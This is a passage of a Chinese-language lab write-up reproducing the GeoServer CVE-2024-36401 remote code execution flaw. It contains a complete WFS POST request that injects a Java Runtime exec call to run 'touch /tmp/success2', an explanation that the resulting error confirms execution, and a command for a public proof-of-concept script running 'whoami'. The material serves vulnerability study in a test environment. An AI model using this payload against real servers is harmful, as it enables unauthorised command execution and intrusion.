POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

image-20250512142743969

熟悉的java.lang.ClassCastException错误,说明命令已执行成功。

进入容器可见,touch /tmp/success1touch /tmp/success2均已成功执行。

image-20250512142825557

值得注意的是,typeNames必须存在,我们可以在Web页面中找到当前服务器中的所有Types:

img

poc使用

Niuwoo/CVE-2024-36401: POC (github.com)

1
python CVE-2024-36401.py -u http://192.168.159.132:8080 -c whoami

image-20250512151923527

参考

https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401) 分析-先知社区 (aliyun.com)